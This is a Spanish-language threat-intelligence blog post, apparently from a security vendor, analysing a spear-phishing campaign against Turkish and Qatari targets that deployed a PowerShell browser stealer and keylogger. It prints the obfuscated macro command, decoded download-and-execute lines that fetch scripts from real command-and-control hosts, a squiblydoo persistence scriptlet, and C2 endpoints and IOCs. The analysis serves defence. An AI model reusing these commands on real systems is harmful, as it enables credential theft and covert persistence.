Durante nuestras actividades diarias de búsqueda de amenazas nos cruzamos con un tweet que denunciaba una campaña activa de spear-phishing que aparentemente se centraba en Turquía. Tras una evaluación inicial, decidimos investigar más y encontramos similitudes con otras campañas activas en el pasado reciente y que posiblemente fuesen obra de los mismos actores.
Interesting. Info stealer in ps1: browsers info, keylogger. Persists using a scheduled task + squiblydoo. Only found reference to the keylogger: https://t.co/GVNwwNhx35 pic.twitter.com/xpuyHc6Hl6
— Giuseppe `N3mes1s` (@gN3mes1s) November 29, 2018
Documentos de spear-phishing
Los documentos de spear-phishing tienen como objetivo víctimas turcas, pero también hemos encontrado una versión más antigua cuyos objetivos eran qatarís. Los documentos tratan de atraer a la gente a la Conferencia de la Asociación de «Parlamentarios por Al Quds» en Estambul. Los Parlamentarians for Al Quds son un comité que coordina «los esfuerzos de parlamentarios internacionales para apoyar la causa palestina».
Google translator ayuda nos puede echar una mano a quienes no hablamos árabe para entender el contenido doseádo para las campañas de spear-phishing:
El documento es una invitación a la conferencia que se celebraría entre el 13 y el 16 de Diciembre con título “Jerusalem es la capital eterna de Palestina“. No tenemos constancia de que esta conferencia esté anunciada en la web oficial.
Estrategia de infección
Ambos documentos siguen la misma estrategia tradicional de infección: intentar engañar a las víctimas para que hagan clic en el botón de «habilitar contenido» para ejecutar una macro maliciosa:
La macro incluída en el documento ejecuta una línea de comandos que invoca powershell que, a su vez, ejecuta el script .ps1 descargado de un host malicioso.
Hemos reconstruido este proceso mediante ReaQta-Hive:
Podemos ver como Winword.exe genera una instancia de cmd.exe con un comando sospechoso:
"C:\\Windows\\System32\\cmd.exe" /c " EcHo iEx ( new-oBjeCt sYStem.Io.COmPreSSiON.defLAtEstreAm(\[system.Io.mEmorYStrEAM] \[ConVerT]\::fRomBaSE64STRing( 'BcExEkAwEAXQq+hQSHotCg2FgjbWYolNJv6M63uv75asGPirxvViQjYwzMxr44UVpWnDpz64bUISPYr8BGJt7SOUwht2bA7OeNE7klGGdVEsvZQkIi9/') , \[sYsTEM.io.compressIOn.CoMpREssiOnmode]\::DECOMPRESs )^^^| % {new-oBjeCt io.STreaMreader( $\_, \[TexT.ENCoDInG]\::aSCii )} ).REadtOEnd() | pOwErSheLl -NoeX -nOlo -NOproFiLe -nOnIn -eXeCuTI BypAss -wiNdoWstYL hiDden -"
Decodificando el comando encontramos los parámetros reales que ha pasaado a powershell.exe:
IEX (New-Object Net.WebClient).DownloadString('http://microsoftdata.linkpc.net/api/cscript')
La forma en que se pasan los argumentos a powershell es interesante dado que parece un método para evadir la monitorizzación de la línea de comandos:
pOwErSheLl -NoeX -nOlo -NOproFiLe -nOnIn -eXeCuTI BypAss -wiNdoWstYL hiDden -
El argumento se transmite (mediante el comando echo
) directamente a powershell.exe. Este es el motivo por el que no vemos el clásico parámetro iEx […]
en la línea de comando de powershell.exe.
Llegados a este punto, powershell.exe ejecuta la rutina de infección mediante el script descargado de hxxp://microsoftdata[.]linkpc[.]net/api/cscript
. A continuación una abstracción de su contenido:
El script de powershell se emplea para sustraer: cookies, sesiones, logins de Chrome, Opera y Firefox, y además tiene un módulo de keylogging. Los datos adquiridos se exfiltran al siguiente C2:
hxxp://microsoftdata[.]linkpc[.]net
El script descarga las DLLs de sqlite necesarias para interactuar con los localdb de los navegadores (ventana de análisis número 4), crea un GlobalMutex Global\rYF1pgeADA
para evitar la ejecución de múltiples instancias del sustractor, inicializa el keylogger e itera sobre las funciones necesarias para capturar la información y, finalmente, para establecer persistencia.
Debemos prestar especial atención al mecanismo de persistencia empleado: una tarea programada para dar persistenca a un ataque squiblydoo:
Y entonces se ejecuta el siguiente script:
<?XML version="1.0"?> <scriptlet> <registration progid="rYF1pgeADA" classid="{3cf925ab-14c5-4324-9b5c-bbe294ac03a0}" > <script language="JScript"> <![CDATA[ p = 'Powershell'; c = ' -WiND hiDdeN -nOproFILe -eXeCUTiON bypaSS -Nol -ComMa "iEx ( new-oBjeCt sYStem.Io.COmPreSSiON.defLAtEstreAm([system.Io.mEmorYStrEAM] [ConVerT]::fRomBaSE64STRing( \'BcExEkAwEAXQq+hQSHotCg2FgjbWYolNJv6M63uv75asGPirxvViQjYwzMxr44UVpWnDpz64bUISPYr8BGJt7SOUwht2bA7OeNE7klGGdVEsvZQkIi9/\') , [sYsTEM.io.compressIOn.CoMpREssiOnmode]::DECOMPRESs )| % {new-oBjeCt io.STreaMreader( $_, [TexT.ENCoDInG]::aSCii )} ).REadtOEnd() "'; r = new ActiveXObject("WScript.Shell").Run(p + c,0,false); ]]> </script> </registration> </scriptlet>
ReaQta-Hive identifica correctamente este comportamiento como anómalo y reconstruye el histórico de procesos como se muestra a continuación:
Capacidades del Script de Sustracción
El script distribuido por la campaña de spear-phishin, como ya hemos mencionado, tiene capacidad para sustraer cookies e información de login de los navegadores Google Chrome, Firefox y Opera, además de para hacer keylogging y obtener persistencia mediante tareas programadas que ejecutan un ataque squiblydoo. El script también permite al atancante desplegar script personalizados desde el C2, lo que significa que sus capacidades pueden ampliarse a capricho de los atacantes:
A continuación listamos unas firmas de funciones para futura referencia:
function Set-Key function Set-EncryptedData function Uid function CookiesTo-MYJson ([System.Collections.ArrayList] $ArrayList) function PasswordsTo-MYJson ([System.Collections.ArrayList] $ArrayList) function unProtecte ($data) function ChromeDB function FirefoxDB function OperaDB function Add-SQLite ($link) function urlPOST($link,$data) function OperaSESSION ($SQLiteDB,$search,$condition) function FirefoxSESSION ($SQLiteDB,$search,$condition) function ChromeSESSION ($SQLiteDB,$search,$condition) function ChromePASS ($SQLiteDB) function BrowsersLOGINS function _sct function InstallSCT function BrowsersPS function BrowsersLOGGER function InitLOGGER function BrowsersCOOKIES ($website,$cname)
El keylogger parece haberse reutilizado a partir del código disponible en este repositorio de github:
https://github.com/lazywinadmin/PowerShell/blob/master/TOOL-Start-KeyLogger/Start-KeyLogger.ps1
Infraestructura del C2 y muestras previas
El C2 presenta un patron interesante, la ruta de la URL siempre es: /api/[endpoint]:
http://{$domain}/api/pscript
http://{$domain}/api/logger/submit
http://{$domain}/api/chrome/submit
http://{$domain}/api/firefox/submit
http://{$domain}/api/opera/submit
http://{$domain}/assest/sqlite
Gracias a la información anteriore, hemos sido capaces de descubrir ejemplos adicionales, empleando el mismo patrón usado en campañas previas de spear-phishing:
Malicious document targeting #Qatar, impersonates @qcharity
Embedded macros download a PowerShell script from:
4host[.]publicvm[.]com/api/cscript
Steals passwords and cookies from browsers
MD5: 9d6ccae4ef4a206345005e58e51ca6cb pic.twitter.com/Ptrr0iIJi4— Curly Cyber (@CurlyCyber) August 21, 2018
Como indicábamos al principio, este ejemplo anterior parecía apuntar a víctimas en Qatar. Por aquel entonces imitando Qatar Charity.
El documento fue detectado por primera vez en Agosto de 2018. Tan sólo se aprecian unos cambios menores en el código comparándolo con el actual, a penas unas ligeras variaciones en comportamiento, persistencia y el código del script:
Hemos subido el análisis del comportamiento a VirusTotal (haga click en Detailed report para acceder). En la ventana número 1 del análisis podemos ver que el comando ejecutado en cmd.exe no está ofuscado:
"C:\Windows\System32\cmd.exe" /C"Echo\IEX (New-Object Net.WebClient).DownloadString('http://4host.publicvm.com/api/cscript') | PowersHell -NOpROfIL -eX BYpAss -NOlOgo -wiNdoWs HiDdEN -noeXIt -noNI -"
Con objeto de completar la información, aquí están los cambios respecto de la versión anterior del script de powershell:
Capability | Old Version | New Version |
Persistence | scheduled task (via powershell) | scheduled task (via regsvr32) |
Keylogger | Not found | Present |
Mutex | wfCQnIo2G7 | rYF1pgeADA |
URL del panel anterior:
hxxp://4host[.]publicvm[.]com/
Los tres documentos comparten una estructura de metadatos similar:
Metadata | Old Version | New Version |
AppVersion | 12.0 | 16.0 |
Author | Mohamed Bennabszllah | Parliament Quds |
CompObjUserType | Document Microsoft Office Word 97-2003 | Document Microsoft Office Word 97-2003 |
CreateDate | 2018:08:05 16:16:00 | 2018:11:21 14:50:00 |
LanguageCode | English (US) | Arabic |
CodePage | Windows Latin 1 (Western European) | Windows Arabic |
LastModifiedBy | DELL | Mohamed Bennabszllah |
LastPrinted | 0000:00:00 00:00:00 | 2018:10:19 17:14:00Z |
ModifyDate | 2018:08:05 16:32:00 | 2018:11:22 12:20:00 |
System | Windows | Windows |
Podemos observar otra similitud en que ambos dominios usan el mismo servicio de Free Dynamic DNS: DNSExit.
Conclusiones
Este ataque es interesante por los potenciales objetivos involucrados pero también por las técnicas adoptadas: uso de sistemas binarios (lolbins) para realizar actividades maliciosas mediante powershell, persistencia mediante tareas programadas y la técnica de «echoing» empleada para escondar los comandos y dificultar su detección. El actor de esta amenaza parece estar activo y el tipo de docuemntos analizados presenta evidencias de que esas operaciones podrían estar motivadas por asuntos políticos y no el trabajo de una banda ciber-criminal.
El spear-phihsing continua siendo uno de los vectores de ataque más efectivos e incusio personal entrenado puede convertirse en víctima. ReaQta-Hive ayuda detectando automáticamente amenazas dirigidas, como las que acabamos de analizar, mediante Inteligencia Artificial y capacita a los analistas para realizar búsquedas proactivas de amenazas en profundidad y para describrir comportamientos anómalos de forma automatizada. Los ataques en memoria basados en componentes del sistema operativo (lolbins) son capaces de superar las defensas tradicionales al mismo tiempo que dejan una huella forense mínima gracias a la ausencia de payloads binarios tradicionales. Contacte con nosotros para una demostración y verá cómo gestionar amenazas similares en tiempo real.
IOCs
bf4d4ee4a8e4472c7968586fa0318e556a89bfd94aeb4e72afd99ab340541770 إستمارة.doc
7a26d5b600a078816beb3a2849827fa7d45ec85ec6c3343b3857f10edfece74c cscript.ps1
hxxp://microsoftdata[.]linkpc[.]net
hxxp://4host[.]publicvm[.].com
GlobalwfCQnIo2G7 mutex
http://[$domain]/api/pscript
http://[$domain]/api/logger/submit
http://[$domain]/api/chrome/submit
http://[$domain]/api/firefox/submit
http://[$domain]/api/opera/submit
http://[$domain]/assest/sqlite
wfCQnIo2G7 scheduled task name